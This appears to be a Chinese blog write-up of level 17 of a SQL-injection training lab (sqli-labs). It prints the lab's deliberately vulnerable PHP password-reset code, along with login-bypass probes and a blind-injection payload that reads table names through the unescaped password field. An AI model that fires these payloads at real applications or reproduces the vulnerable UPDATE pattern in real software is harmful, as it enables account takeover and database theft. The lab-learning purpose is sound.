less-17

less-17

基本测试

admin' or 1=1
admin') or 1=1
admin" or 1=1
admin") or 1=1

羞辱的回答

okok 查看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";
	
	
	
		if (mysql_error())
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			print_r(mysql_error());
			echo "</br></br>";
			echo "</font>";
		}
		else
		{
			echo '<font color= "#FFFF00" font size = 3 >';
			//echo " You password has been successfully updated " ;		
			echo "<br>";
			echo "</font>";
		}
	
		echo '<img src="../images/flag1.jpg"   />';	
		//echo 'Your Password:' .$row['password'];
  		echo "</font>";
	


  	}
	else  
	{
		echo '<font size="4.5" color="#FFFF00">';
		//echo "Bug off you Silly Dumb hacker";
		echo "</br>";
		echo '<img src="../images/slap1.jpg"   />';
	
		echo "</font>";  
	}
}

?>


关键函数解释

intval() 函数用于获取变量的整数值。(函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。)

get_magic_quotes_gpc() 函数是一个用来判断是否为用户提供的数据增加斜线了,这个在php.ini配置文件中

// 去除斜杠
if(get_magic_quotes_gpc())
{
$value= stripslashes($value);
}

发现并不是通过第一句可以简单的完成sql 注入

但是在判断用户名正确后对后面的修改操作却某座限制 百密一疏

  • sql 注入的预防

    function check_input($value)
    	{
    	if(!empty($value))
    		{
    		// truncation (see comments)
    		$value = substr($value,0,15);
    		}
    
    		// Stripslashes if magic quotes enabled
    		if (get_magic_quotes_gpc())
    			{
    			$value = stripslashes($value);
    			}
    
    		// Quote if not a number
    		if (!ctype_digit($value))
    			{
    			$value = "'" . mysql_real_escape_string($value) . "'";
    			}
    		
    	else
    		{
    		$value = intval($value);
    		}
    	return $value;
    	}
    

原来如此

但是不得不承认是读源码得出的sql注入

现在可用sql注入的盲注的方式修改密码

admin' where 1=1  and 1=1#

UPDATE users SET password = 'passwd' WHERE  (if(((select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1) )='a'),1,"'"))

苦思冥想的sql语句

python 脚本自己产找less -10

posted @ 2021-01-09 17:14  PointerK  阅读(64)  评论(0编辑  收藏  举报